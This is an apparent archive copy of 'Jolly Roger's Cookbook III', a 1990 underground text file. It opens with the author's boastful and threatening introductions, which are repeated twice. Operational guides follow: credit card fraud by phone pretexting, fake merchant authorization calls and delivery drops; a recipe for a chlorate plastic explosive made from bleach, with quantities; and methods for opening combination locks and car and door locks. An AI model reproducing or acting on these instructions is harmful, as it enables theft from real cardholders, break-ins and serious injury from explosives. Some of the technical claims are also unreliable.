home *** CD-ROM | disk | FTP | other *** search
/ Hacker's Secrets 4 / Hacker's Secrets 4.iso / anarchy / jr-cb-3.txt < prev    next >
Text File  |  1995-11-30  |  872KB  |  16,692 lines

  1.  
  2.  
  3.  #####################################################################  
  4.  #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  5.  #~<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>~#
  6.  #~<>->>Jolly Roger's Cookbook Version III Dated 11/09/1990!!!<<-<>~#
  7.  #~<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>~#
  8.  #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  9.  #####################################################################
  10.  
  11.  
  12. Hello! Welcome to the Jolly Roger's Cookbook III! I hope that 
  13. this collection of text files has enough info to keep you hackers 
  14. busy for awhile (at least until the next update!). As I gather 
  15. information I will keep adding it and uploading it to my "home 
  16. base" bbs's in different cities with additional numbered files, 
  17. and an updated index that you can just replace the old one with. 
  18.  
  19. Thanks for taking the time to read this file, by the way. There are 
  20. a few things that I want to say about the Cookbook.
  21.  
  22. 1) If I ever find out that anyone has omitted my name from 
  23. anywhere in these files withoutmy expressed permission, then I 
  24. will immediately stop doing any updates and I will release your 
  25. name to as many boards that I can find, urging them to put you on 
  26. their Black List. I also, will FIND YOU! (I think you can see from 
  27. the knowledge base contained in this collection that I DO possess 
  28. the capability! You will wish it were the FEDS and not me!) In 
  29. other words, be careful who you give this collection to. Of, 
  30. course there are idiots (probably the same ones who write 
  31. viruses!) that will misuse this information and kill some people 
  32. or get themselves & you into a lot of trouble! So keep this 
  33. treasure chest buried and only dig it up for those that you can 
  34. TRUST! Also you would be screwing yourself, because I still have 
  35. all kinds of things that I can put in here for updates, and you will 
  36. NEVER see them if I quit updating because of some asshole. So 
  37. think about it. If you WANT the updates (info you would probably 
  38. have a helluva time finding elsewhere!), then STAY COOL with it.
  39.  
  40. 2) I was going to encrypt these files and load/print them from 
  41. within an encrypted program. However, I have decided against that 
  42. for these reasons:
  43.  
  44.  a) It would then be machine-exclusive
  45.  b) It would show that I don't trust you.
  46.  c) Only Atari ST users would ever see it.
  47.  
  48. So I decided on keeping it ASCII. ANY machine that can read ASCII 
  49. files can now read these.
  50.  
  51. 3) Please do not use my handle to gain access to boards. you never 
  52. know where I might show up and I will have to find you and deal 
  53. with you if I ever see it. Don't make me do this. 
  54.  
  55. 4) By releasing this database I am taking a real chance on you 
  56. people. I sure as hell don't want MY house blown up with a paint or 
  57. Solidox bomb! And I am sure that you don't want yours blown up 
  58. either (or your credit cards used for tha matter). So I have to 
  59. stress again: BE FUCKING CAREFUL WHO YOU GIVE THIS TO!!
  60.  
  61. That is all for now. If I ever have to update this, it will just be 
  62. in the update archive as file 000.doc. Just replace the old one.
  63.  
  64. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  65. -=-=-=-=-=-=-=-=-=-=-=Notes for Version 2.0=-=-=-=-=-=-=-=-=-=-=-=-
  66. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  67.  
  68. Ok... here it is... long awaited v2.0.... what a bitch it was for me to 
  69. put this shit together. Hell, over 6 months to put the update shit 
  70. together. Anyway, response was cool, nobody fucked with the rulez above. 
  71. I am glad. This allows me to continue the updates. You should find it 
  72. worth the wait.
  73.  
  74. God, there is so much more to do. As you can probably see, this database 
  75. is getting quite huge. And I have not even begun to tap the resources I 
  76. have available to me. I can easily over the next year or so make this 
  77. thing grow to 1600k or more..... so as long as I DON'T find this on a 
  78. p/d bbs, and I DO see it being spread around the proper channels, as 
  79. LONG as you guys keep bugging me for an update, and finally, as long as 
  80. the rulez above are kept,I shall continue.
  81.  
  82. What you have in your disk drive right now is some of the most dangerous 
  83. knowledge ever unleashed on the computer underground. Use it wisely. 
  84. The really JUICY stuff will come in Cookbook v3.0, but let's see how 
  85. this one goes across, shall we? The Blotto box should be enough to see 
  86. how responsible you all are.....................
  87.  
  88. Have fun!!!!!!!!!!!!!
  89.  
  90. Enjoy this database! A lot more to come!!! -----------The Jolly Roger
  91.  
  92. note to all warring pirates and the so-called "groups"
  93. (You know who you are...):
  94.  
  95. FUCK YOU! You are all assholes. Acting like fucking babies like trading 
  96. software was your fucking life or something. Like you have some big name 
  97. or something. Do you realize that nobody gives a flying fuck about you 
  98. in the real world? I have been a pirate for over 10 years, and have over 
  99. 4000 ST programs, over 2000 IBM programs, over 2500 Macintosh programs, 
  100. and over 500 Amiga programs (& I do not even own an Amiga!).... and you 
  101. do not see me kissing ass on the bbs's, or making a deal out of someone 
  102. not "liking" me..... boo-fucking-hoo!! I really do not care. You see, 
  103. the difference between you and me is that I do this for fun. I see no 
  104. other reason to pursue a "hobby" but FOR fun. I hate the fucking 
  105. politics & shit. I give my stuff freely. It all comes back to me.
  106. It just makes me sick when I am on the bbs's and I see these little baby 
  107. games about who did what, and who stole what loader, or re-crack, or 
  108. whatever. I AM AN original pirate. 1st generation. Not anything like you 
  109. baby-shit assholes. Excuse me but I had this boiling in me for a long 
  110. time. The ST world is so small that what little we do have we destroy 
  111. from within. And we blame Jack for it. Fuck, maybe that is the only 
  112. thing we agree on. Anyway, where is the hacking spirit? The giving? The 
  113. free will? Why all of the fucking ego's? It should be obvious by now 
  114. that I have no interest whatsoever in ego-tripping. You can like me or 
  115. hate me. But I will always be here. --------------Jolly Roger
  116.  
  117. *****************************************************************
  118. ******************** Notes for Version III! *********************
  119. *****************************************************************
  120.  
  121. Ah..version III. Well, I never thought for a minute that version 
  122. II would turn out to be so popular! Well, I am proud to announce 
  123. version III, and can assure you that a version IV is in the works! 
  124. As a student, however, I cannot say when it will be ready...but 
  125. what the hell...it will be a long time, I am sure, before you run 
  126. out of "toys" to play with.
  127.  
  128. Lots of interesting new reading for you in this version! A Special 
  129. thanks to CREDITMAN, who lives in the UK and contributed an 
  130. excellent article on carding in the UK. It is great reading.
  131.  
  132. Now, I would like to say a few words to those who insist on 
  133. yanking my chain (or is it dick?) in the message bases here in the 
  134. U.S.: "Whatever, dudes!" 
  135.  
  136. Now that was a few words, eh? Ok, I am debating on a new format 
  137. for Cookbook IV...something with easier access. Hell, this index 
  138. idea worked just fine when the cookbook was small, but now it is 
  139. getting quite large and the articles are getting quite 
  140. numerous...and--who knows? My laziness tells me to stick with it. 
  141. I just might do that!
  142.  
  143. Well, the files spilled over onto two disks, so I figured I would 
  144. include some ST-specific "goodies". They are in a file on disk B 
  145. called "Goodie.Bag" and contain a few rarities and a few 
  146. essentials. Some will find most interesting, most will find some 
  147. interesting, a few may find none interesting. Oh, well.
  148.  
  149. If anybody has any comments (there always is a few slags--take 
  150. your best shot!) then drop me a line in the usual places that one 
  151. can find me. If you do not know where those places are, then I am 
  152. sorry. It just wasn't meant to be. Ha Ha!
  153.  
  154. All who oppose me and my ideas and/or the group that I participate 
  155. in can bugger off. Sure, yeah, I steal a lot of things--I am a 
  156. pirate after all. but so do you, and don't forget it. It is 
  157. ridiculous to call a thief a thief when it is a thief doing the 
  158. accusing. Grow up. This Cookbook is done for no other reason but 
  159. to share with EVERYONE ELITE some of the underground and often 
  160. illegal as hell information that I have gathered, researched, and 
  161. labored to locate, type, and write/compose. At least give me 
  162. credit for that. Anyone whom I call asshole deserves it in my eyes 
  163. for only one reason: there is not ONE DAMN THING redeeming that I 
  164. can find to compliment them on!! For example, Automation slagged 
  165. me for the R.C.A Slag Show II, I turned around and told them to 
  166. piss off on that, and then said that their cd's are getting 
  167. better. What kind of "kid" (a 24 year old one) would do that 
  168. anyway? Certainly not the TOI, that's for sure! Oh, well, fuck it 
  169. anyways. We are all going to die in Iraq soon enough anyway....-
  170.  
  171. Enjoy and spread! Contribute if you can! Information should be 
  172. free (that's why I turned down an offer to publish portions of 
  173. this thing!)!!
  174.  
  175.                       ----------------------Jolly Roger
  176.  
  177.  
  178.  
  179.  
  180.  
  181.  #####################################################################  
  182.  #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  183.  #~<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>~#
  184.  #~<>->>Jolly Roger's Cookbook Version III Dated 11/09/1990!!!<<-<>~#
  185.  #~<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>-<>~#
  186.  #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  187.  #####################################################################
  188.  
  189.  
  190. Hello! Welcome to the Jolly Roger's Cookbook III! I hope that 
  191. this collection of text files has enough info to keep you hackers 
  192. busy for awhile (at least until the next update!). As I gather 
  193. information I will keep adding it and uploading it to my "home 
  194. base" bbs's in different cities with additional numbered files, 
  195. and an updated index that you can just replace the old one with. 
  196.  
  197. Thanks for taking the time to read this file, by the way. There are 
  198. a few things that I want to say about the Cookbook.
  199.  
  200. 1) If I ever find out that anyone has omitted my name from 
  201. anywhere in these files withoutmy expressed permission, then I 
  202. will immediately stop doing any updates and I will release your 
  203. name to as many boards that I can find, urging them to put you on 
  204. their Black List. I also, will FIND YOU! (I think you can see from 
  205. the knowledge base contained in this collection that I DO possess 
  206. the capability! You will wish it were the FEDS and not me!) In 
  207. other words, be careful who you give this collection to. Of, 
  208. course there are idiots (probably the same ones who write 
  209. viruses!) that will misuse this information and kill some people 
  210. or get themselves & you into a lot of trouble! So keep this 
  211. treasure chest buried and only dig it up for those that you can 
  212. TRUST! Also you would be screwing yourself, because I still have 
  213. all kinds of things that I can put in here for updates, and you will 
  214. NEVER see them if I quit updating because of some asshole. So 
  215. think about it. If you WANT the updates (info you would probably 
  216. have a helluva time finding elsewhere!), then STAY COOL with it.
  217.  
  218. 2) I was going to encrypt these files and load/print them from 
  219. within an encrypted program. However, I have decided against that 
  220. for these reasons:
  221.  
  222.  a) It would then be machine-exclusive
  223.  b) It would show that I don't trust you.
  224.  c) Only Atari ST users would ever see it.
  225.  
  226. So I decided on keeping it ASCII. ANY machine that can read ASCII 
  227. files can now read these.
  228.  
  229. 3) Please do not use my handle to gain access to boards. you never 
  230. know where I might show up and I will have to find you and deal 
  231. with you if I ever see it. Don't make me do this. 
  232.  
  233. 4) By releasing this database I am taking a real chance on you 
  234. people. I sure as hell don't want MY house blown up with a paint or 
  235. Solidox bomb! And I am sure that you don't want yours blown up 
  236. either (or your credit cards used for tha matter). So I have to 
  237. stress again: BE FUCKING CAREFUL WHO YOU GIVE THIS TO!!
  238.  
  239. That is all for now. If I ever have to update this, it will just be 
  240. in the update archive as file 000.doc. Just replace the old one.
  241.  
  242. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  243. -=-=-=-=-=-=-=-=-=-=-=Notes for Version 2.0=-=-=-=-=-=-=-=-=-=-=-=-
  244. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  245.  
  246. Ok... here it is... long awaited v2.0.... what a bitch it was for me to 
  247. put this shit together. Hell, over 6 months to put the update shit 
  248. together. Anyway, response was cool, nobody fucked with the rulez above. 
  249. I am glad. This allows me to continue the updates. You should find it 
  250. worth the wait.
  251.  
  252. God, there is so much more to do. As you can probably see, this database 
  253. is getting quite huge. And I have not even begun to tap the resources I 
  254. have available to me. I can easily over the next year or so make this 
  255. thing grow to 1600k or more..... so as long as I DON'T find this on a 
  256. p/d bbs, and I DO see it being spread around the proper channels, as 
  257. LONG as you guys keep bugging me for an update, and finally, as long as 
  258. the rulez above are kept,I shall continue.
  259.  
  260. What you have in your disk drive right now is some of the most dangerous 
  261. knowledge ever unleashed on the computer underground. Use it wisely. 
  262. The really JUICY stuff will come in Cookbook v3.0, but let's see how 
  263. this one goes across, shall we? The Blotto box should be enough to see 
  264. how responsible you all are.....................
  265.  
  266. Have fun!!!!!!!!!!!!!
  267.  
  268. Enjoy this database! A lot more to come!!! -----------The Jolly Roger
  269.  
  270. note to all warring pirates and the so-called "groups"
  271. (You know who you are...):
  272.  
  273. FUCK YOU! You are all assholes. Acting like fucking babies like trading 
  274. software was your fucking life or something. Like you have some big name 
  275. or something. Do you realize that nobody gives a flying fuck about you 
  276. in the real world? I have been a pirate for over 10 years, and have over 
  277. 4000 ST programs, over 2000 IBM programs, over 2500 Macintosh programs, 
  278. and over 500 Amiga programs (& I do not even own an Amiga!).... and you 
  279. do not see me kissing ass on the bbs's, or making a deal out of someone 
  280. not "liking" me..... boo-fucking-hoo!! I really do not care. You see, 
  281. the difference between you and me is that I do this for fun. I see no 
  282. other reason to pursue a "hobby" but FOR fun. I hate the fucking 
  283. politics & shit. I give my stuff freely. It all comes back to me.
  284. It just makes me sick when I am on the bbs's and I see these little baby 
  285. games about who did what, and who stole what loader, or re-crack, or 
  286. whatever. I AM AN original pirate. 1st generation. Not anything like you 
  287. baby-shit assholes. Excuse me but I had this boiling in me for a long 
  288. time. The ST world is so small that what little we do have we destroy 
  289. from within. And we blame Jack for it. Fuck, maybe that is the only 
  290. thing we agree on. Anyway, where is the hacking spirit? The giving? The 
  291. free will? Why all of the fucking ego's? It should be obvious by now 
  292. that I have no interest whatsoever in ego-tripping. You can like me or 
  293. hate me. But I will always be here. --------------Jolly Roger
  294.  
  295. *****************************************************************
  296. ******************** Notes for Version III! *********************
  297. *****************************************************************
  298.  
  299. Ah..version III. Well, I never thought for a minute that version 
  300. II would turn out to be so popular! Well, I am proud to announce 
  301. version III, and can assure you that a version IV is in the works! 
  302. As a student, however, I cannot say when it will be ready...but 
  303. what the hell...it will be a long time, I am sure, before you run 
  304. out of "toys" to play with.
  305.  
  306. Lots of interesting new reading for you in this version! A Special 
  307. thanks to CREDITMAN, who lives in the UK and contributed an 
  308. excellent article on carding in the UK. It is great reading.
  309.  
  310. Now, I would like to say a few words to those who insist on 
  311. yanking my chain (or is it dick?) in the message bases here in the 
  312. U.S.: "Whatever, dudes!" 
  313.  
  314. Now that was a few words, eh? Ok, I am debating on a new format 
  315. for Cookbook IV...something with easier access. Hell, this index 
  316. idea worked just fine when the cookbook was small, but now it is 
  317. getting quite large and the articles are getting quite 
  318. numerous...and--who knows? My laziness tells me to stick with it. 
  319. I just might do that!
  320.  
  321. Well, the files spilled over onto two disks, so I figured I would 
  322. include some ST-specific "goodies". They are in a file on disk B 
  323. called "Goodie.Bag" and contain a few rarities and a few 
  324. essentials. Some will find most interesting, most will find some 
  325. interesting, a few may find none interesting. Oh, well.
  326.  
  327. If anybody has any comments (there always is a few slags--take 
  328. your best shot!) then drop me a line in the usual places that one 
  329. can find me. If you do not know where those places are, then I am 
  330. sorry. It just wasn't meant to be. Ha Ha!
  331.  
  332. All who oppose me and my ideas and/or the group that I participate 
  333. in can bugger off. Sure, yeah, I steal a lot of things--I am a 
  334. pirate after all. but so do you, and don't forget it. It is 
  335. ridiculous to call a thief a thief when it is a thief doing the 
  336. accusing. Grow up. This Cookbook is done for no other reason but 
  337. to share with EVERYONE ELITE some of the underground and often 
  338. illegal as hell information that I have gathered, researched, and 
  339. labored to locate, type, and write/compose. At least give me 
  340. credit for that. Anyone whom I call asshole deserves it in my eyes 
  341. for only one reason: there is not ONE DAMN THING redeeming that I 
  342. can find to compliment them on!! For example, Automation slagged 
  343. me for the R.C.A Slag Show II, I turned around and told them to 
  344. piss off on that, and then said that their cd's are getting 
  345. better. What kind of "kid" (a 24 year old one) would do that 
  346. anyway? Certainly not the TOI, that's for sure! Oh, well, fuck it 
  347. anyways. We are all going to die in Iraq soon enough anyway....-
  348.  
  349. Enjoy and spread! Contribute if you can! Information should be 
  350. free (that's why I turned down an offer to publish portions of 
  351. this thing!)!!
  352.  
  353.                       ----------------------Jolly Roger
  354.  
  355.  
  356.  
  357. Credit Card Fraud                brought to you by The Jolly Roger
  358.  
  359. For most of you out there, money is hard to come by.  Until now:
  360.  
  361. With the recent advent of plastic money (credit cards), it is 
  362. easy to use someone else's credit card to order the items you have 
  363. always desired in life.  The stakes are high, but the payoff is 
  364. worth it.
  365.  
  366. Step One:  Getting the credit card information
  367.  
  368. First off, you must obtain the crucial item:  someone's credit 
  369. card number.  The best way to get credit card numbers is to take 
  370. the blue carbons used in a credit card transaction at your local 
  371. department store.  These can usually be found in the garbage can 
  372. next to the register, or for the more daring, in the garbage 
  373. dumpster behind the store.  But, due to the large amount of credit 
  374. card fraud, many stores have opted to use a carbonless transaction 
  375. sheet, making things much more difficult.  This is where your 
  376. phone comes in handy.
  377.  
  378. First, look up someone in the phone book, and obtain as much 
  379. information as possible about them.  Then, during business hours, 
  380. call in a very convincing voice - "Hello, this is John Doe from 
  381. the Visa Credit Card Fraud Investigations Department.  We have 
  382. been informed that your credit card may have been used for 
  383. fraudulent purposes, so will you please read off the numbers 
  384. appearing on your Visa card for verification."  Of course, use 
  385. your imagination!  Believe it or not, many people will fall for 
  386. this ploy and give out their credit information.
  387.  
  388. Now, assuming that you have your victim's credit card number, you 
  389. should be able to decipher the information given.
  390.  
  391. Step Two:  Recognizing information from carbon copies
  392.  
  393. Card examples:
  394.  
  395. [American Express]
  396. XXXX XXXXXX XXXXX
  397. MM/Y1 THRU MM/Y2
  398. JOE SHMOE
  399.  
  400. [American Express]
  401. XXXX XXXXXX XXXXX
  402. MM/Y1 THRU MM/Y2
  403. JOE SHMOE
  404.  
  405. Explanation:
  406.    MM/Y1 is the date the card was issued, and MM/Y2 is the
  407.    expiration date.  The American Express Gold Card has numbers
  408.    XXXXXX XXXXXXXX XXXXXXXX, and is covered for up to $5000.00, 
  409.    even if the card holder is broke. 
  410.    
  411. [Mastercard]
  412. 5XXX XXXX XXXX XXXX
  413. XXXX AAA DD-MM-YY MM/YY
  414. JOE SHMOE
  415.  
  416. Explanation:
  417.    XXXX in the second row may be asked for during the ordering
  418.    process.  The first date is when the card was new, and the 
  419.    second is when the card expires.  The most frequent number 
  420.    combination used is 5424 1800 XXXX XXXX.  There are many of 
  421.    these cards in circulation, but many of these are on wanted
  422.    lists, so check these first.
  423.  
  424. [Visa]
  425. 4XXX XXX(X) XXX(X) XXX(X)
  426. MM/YY    MM/YY*VISA
  427. JOE SHMOE
  428.  
  429. Explanation:
  430.    Visa is the most abundant card, and is accepted almost 
  431.    everywhere.  The "*VISA" is sometimes replaced with "BWG", or
  432.    followed with a special code.  These codes are as follows:
  433.  
  434.    [1]  MM/YY*VISA V - Preferred Card
  435.    [2]  MM/YY*VISA CV - Classic Card
  436.    [3]  MM/YY*VISA PV - Premier Card
  437.    
  438.    Preferred Cards are backed with money, and are much safer to 
  439.    use.  Classic Cards are newer, harder to reproduce cards with
  440.    decent backing.  Premier Cards are Classic Cards with Preferred
  441.    coverage.  Common numbers are 4448 020 XXX XXX, 4254 5123 6000
  442.    XXXX, and 4254 5123 8500 XXXX.  Any 4712 1250 XXXX XXXX cards
  443.    are IBM Credit Union cards, and are risky to use, although 
  444.    they are usually covered for large purchases.
  445.  
  446. Step Three:  Testing credit
  447.  
  448. You should now have a Visa, Mastercard, or American Express 
  449. credit card number, with the victim's address, zip code, and phone 
  450. number.  By the way, if you have problems getting the address, 
  451. most phone companies offer the Address Tracking Service, which is 
  452. a special number you call that will give you an address from a 
  453. phone number, at a nominal charge.  Now you need to check the 
  454. balance of credit on the credit card (to make sure you don't run 
  455. out of money), and you must also make sure that the card isn't 
  456. stolen.  To do this you must obtain a phone number that 
  457. businesses use to check out credit cards during purchases.  If you 
  458. go to a department store, watch the cashier when someone makes a 
  459. credit card purchase.  He/she will usually call a phone number, 
  460. give the credit information, and then give what is called a 
  461. "Merchant Number".  These numbers are usually written down on or 
  462. around the register.  It is easy to either find these numbers and 
  463. copy them, or to wait until they call one in.  Watch what they 
  464. dial and wait for the 8 digit (usually) merchant number.  Once you 
  465. call the number, in a calm voice, read off the account number, 
  466. merchant number, amount, and expiration date.  The credit bureau 
  467. will tell you if it is ok, and will give you an authorization 
  468. number.  Pretend you are writing this number down, and repeat it 
  469. back to them to check it.  Ignore this number completely, for it 
  470. serves no real purpose.  However, once you do this, the bank 
  471. removes dollars equal to what you told them, because the card was 
  472. supposedly used to make a purchase.  Sometimes you can trick the
  473. operator by telling her the customer changed his mind and decided 
  474. not to charge it.  Of course, some will not allow this.  Remember
  475. at all times that you are supposed to be a store clerk calling to 
  476. check out the card for a purchase.  Act like you are talking with 
  477. a customer when he/she "cancels".
  478.  
  479. Step Four:  The drop
  480.  
  481. Once the cards are cleared, you must find a place to have the 
  482. package sent.  NEVER use a drop more than once.  The following are 
  483. typical drop sites:
  484.  
  485.    [1]  An empty house
  486.         
  487. An empty house makes an excellent place to send things.  Send the 
  488. package UPS, and leave a note on the door saying, "UPS.  I work 
  489. days, 8 to 6.  Could you please leave the package on the back door 
  490. step?"  You can find dozens of houses from a real estate agent by 
  491. telling them you want to look around for a house.  Ask for a list 
  492. of twenty houses for sale, and tell them you will check out the 
  493. area.  Do so, until you find one that suits your needs.
  494.  
  495.    [2]  Rent A Spot
  496.  
  497. U-Haul sometimes rents spaces where you can have packages sent and 
  498. signed for.  End your space when the package arrives.
  499.  
  500.    [3]  People's houses
  501.  
  502. Find someone you do not know, and have the package sent there.  
  503. Call ahead saying that "I called the store and they sent the 
  504. package to the wrong address.  It was already sent, but can you 
  505. keep it there for me?"  This is a very reliable way if you keep
  506. calm when talking to the people.
  507.  
  508. Do NOT try post office boxes.  Most of the time, UPS will not 
  509. deliver to a post office box, and many people have been caught in 
  510. the past attempting to use a post office box.  Also, when you have 
  511. determined a drop site, keep an eye on it for suspicious 
  512. characters and cars that have not been there before.
  513.  
  514. Step Five:  Making the transaction
  515.  
  516. You should now have a reliable credit card number with all the 
  517. necessary billing information, and a good drop site.
  518.  
  519. The best place to order from is catalogues, and mail order houses.  
  520. It is in your best interest to place the phone call from a pay 
  521. phone, especially if it is a 1-800 number.  Now, when you call, 
  522. don't try to disguise your voice, thinking you will trick the 
  523. salesperson into believing you are an adult.  These folks are 
  524. trained to detect this, so your best bet is to order in your own 
  525. voice.  They will ask for the following:  name, name as it appears 
  526. on card, phone number, billing address, expiration date, method of 
  527. shipping, and product.  Ask if they offer UPS Red shipping (next 
  528. day arrival), because it gives them less time to research an 
  529. order.  If you are using American Express, you might have a bit of 
  530. m problem shipping to an address other than the billing address.  
  531. Also, if the salesperson starts to ask questions, do NOT hang up.  
  532. Simply talk your way out of the situation, so you won't encourage
  533. investigation on the order.
  534.  
  535. If everything goes right, you should have the product, free of 
  536. charge.  Insurance picks up the tab, and no one is any wiser.  Be 
  537. careful, and try not to order anything over $500.  In some states, 
  538. UPS requires a signature for anything over $200, not to mention 
  539. that anything over $200 is defined as grand theft, as well as 
  540. credit fraud.  Get caught doing this, and you will bite it for a 
  541. couple of years.  Good luck!
  542. Making Plastic Explosives from Bleach           by The Jolly Roger
  543.  
  544. Potassium chlorate is an extremely volatile explosive compound, 
  545. and has been used in the past as the main explosive filler in 
  546. grenades, land mines, and mortar rounds by such countries as 
  547. France and Germany.  Common household bleach contains a small 
  548. amount of potassium chlorate, which can be extracted by the 
  549. procedure that follows.
  550.  
  551. First off, you must obtain:
  552.  
  553. [1]  A heat source (hot plate, stove, etc.)
  554. [2]  A hydrometer, or battery hydrometer
  555. [3]  A large Pyrex, or enameled steel container (to weigh 
  556.      chemicals)
  557. [4]  Potassium chloride (sold as a salt substitute at health and 
  558.      nutrition stores)
  559.  
  560. Take one gallon of bleach, place it in the container, and begin 
  561. heating it.  While this solution heats, weigh out 63 grams of 
  562. potassium chloride and add this to the bleach being heated.  
  563. Constantly check the solution being heated with the hydrometer, 
  564. and boil until you get a reading of 1.3.  If using a battery 
  565. hydrometer, boil until you read a FULL charge.
  566.  
  567. Take the solution and allow it to cool in a refrigerator until it 
  568. is between room temperature and 0 degrees Celcius.  Filter out the 
  569. crystals that have formed and save them.  Boil this solution again 
  570. and cool as before.  Filter and save the crystals.
  571.  
  572. Take the crystals that have been saved, and mix them with 
  573. distilled water in the following proportions:  56 grams per 100 
  574. milliliters distilled water.  Heat this solution until it boils 
  575. and allow to cool.  Filter the solution and save the crystals that 
  576. form upon cooling.  This process of purification is called 
  577. "fractional crystalization".  These crystals should be relatively 
  578. pure potassium chlorate.
  579.  
  580. Powder these to the consistency of face powder, and heat gently to 
  581. drive off all moisture.
  582.  
  583. Now, melt five parts Vaseline with five parts wax.  Dissolve this 
  584. in white gasoline (camp stove gasoline), and pour this liquid on 
  585. 90 parts potassium chlorate (the powdered crystals from above) 
  586. into a plastic bowl.  Knead this liquid into the potassium 
  587. chlorate until intimately mixed.  Allow all gasoline to evaporate.
  588.  
  589. Finally, place this explosive into a cool, dry place.  Avoid 
  590. friction, sulfur, sulfides, and phosphorous compounds.  This 
  591. explosive is best molded to the desired shape and density of 1.3 
  592. grams in a cube and dipped in wax until water proof.  These block 
  593. type charges guarantee the highest detonation velocity.  Also, a 
  594. blasting cap of at least a 3 grade must be used.
  595.  
  596. The presence of the afore mentioned compounds (sulfur, sulfides, 
  597. etc.) results in mixtures that are or can become highly sensitive 
  598. and will possibly decompose explosively while in storage.  You 
  599. should never store homemade explosives, and you must use EXTREME 
  600. caution at all times while performing the processes in this 
  601. article. 
  602.  
  603. You may obtain a catalog of other subject of this nature by 
  604. writing:
  605.  
  606.      Information Publishing Co.
  607.      Box 10042
  608.      Odessa, Texas  79762
  609.  
  610. Picking Master Locks                            by The Jolly Roger
  611.  
  612. Have you ever tried to impress someone by picking one of those 
  613. Master combination locks and failed?
  614.  
  615. The Master lock company made their older combination locks with a 
  616. protection scheme.  If you pull the handle too hard, the knob will 
  617. not turn.  That was their biggest mistake.
  618.  
  619. The first number:
  620.  
  621. Get out any of the Master locks so you know what is going on.  
  622. While pulling on the clasp (part that springs open when you get 
  623. the combination right), turn the knob to the left until it will 
  624. not move any more, and add five to the number you reach.  You now 
  625. have the first number of the combination.
  626.  
  627. The second number:
  628.  
  629. Spin the dial around a couple of times, then go to the first 
  630. number you got.  Turn the dial to the right, bypassing the first 
  631. number once.  When you have bypassed the first number, start 
  632. pulling on the clasp and turning the knob.  The knob will 
  633. eventually fall into the groove and lock.  While in the groove, 
  634. pull the clasp and turn the knob.  If the knob is loose, go to the 
  635. next groove, if the knob is stiff, you have the second number of 
  636. the combination.
  637.  
  638. The third number:
  639.  
  640. After getting the second number, spin the dial, then enter the two 
  641. numbers.  Slowly spin the dial to the right, and at each number, 
  642. pull on the clasp.  The lock will eventually open if you did the 
  643. process right.  
  644.  
  645. This method of opening Master locks only works on older models.  
  646. Someone informed Master of their mistake, and they employed a new 
  647. mechanism that is foolproof (for now).
  648.  
  649. The Arts of Lockpicking I              courtesy of The Jolly Roger
  650.  
  651. Lockpicking I:  Cars and assorted other locks
  652.  
  653. While the basic themes of lockpicking and uninvited entry have not 
  654. changed much in the last few years, some modern devices and 
  655. techniques have appeared on the scene.
  656.  
  657. Automobiles:
  658.  
  659. Many older automobiles can still be opened with a Slim Jim type of 
  660. opener (these and other auto locksmithing techniques are covered 
  661. fully in the book "In the Still of the Night", by John Russell    
  662. III);  however, many car manufacturers have built cases over the 
  663. lock mechanism, or have moved the lock mechanism so the Slim Jim 
  664. will not work.  So:
  665.  
  666. American Locksmith Service
  667. P.O. Box 26
  668. Culver City, CA  90230
  669.  
  670. ALS offers a new and improved Slim Jim that is 30 inches long and
  671. 3/4 inches wide, so it will both reach and slip through the new 
  672. car lock covers (inside the door).  Price is $5.75 plus $2.00 
  673. postage and handling.
  674.  
  675. Cars manufactured by General Motors have always been a bane to 
  676. people who needed to open them, because the sidebar locking unit 
  677. they employ is very difficult to pick.  To further complicate 
  678. matters, the new GM cars employ metal shields to make the use of a
  679. Slim Jim type instrument very difficult.  So:
  680.  
  681. Lock Technology Corporation
  682. 685 Main St.
  683. New Rochelle, NY  10801
  684.  
  685. LTC offers a cute little tool which will easily remove the lock 
  686. cylinder without harm to the vehicle, and will allow you to enter 
  687. and/or start the vehicle.  The GMC-40 sells for $56.00 plus $2.00 
  688. for postage and handling.
  689.  
  690. The best general automobile opening kit is probably a set of 
  691. lockout tools offered by:
  692.  
  693. Steck MFG Corporation
  694. 1319 W. Stewart St.
  695. Dayton, OH  45408
  696.  
  697. For $29.95 one can purchase a complete set of six carbon lockout
  698. tools that will open more than 95% of all the cars around.
  699.  
  700. Kwickset locks have become quite popular as one step security 
  701. locks for many types of buildings.  They are a bit harder to pick 
  702. and offer a higher degree of security than a normal builder 
  703. installed door lock.  So:
  704.  
  705. A MFG
  706. 1151 Wallace St.
  707. Massilon, OH  44646
  708.  
  709. Price is $11.95.  Kwickset locks can handily be disassembled and 
  710. the door opened without harm to either the lock or the door by 
  711. using the above mentioned Kwick Out tool.
  712.  
  713. If you are too lazy to pick auto locks:
  714.  
  715. Veehof Supply
  716. Box 361
  717. Storm Lake, IO  50588
  718.  
  719. VS sells tryout keys for most cars (tryout keys are used since 
  720. there is no one master key for any one make of car, but there are 
  721. group type masters (a.k.a. tryout keys).  Prices average about 
  722. $20.00 a set.
  723.  
  724. Updated Lockpicking:
  725.  
  726. For years, there have been a number of pick attack procedures for 
  727. most pin and tumbler lock systems.  In reverse order of ease they 
  728. are as follows:
  729.  
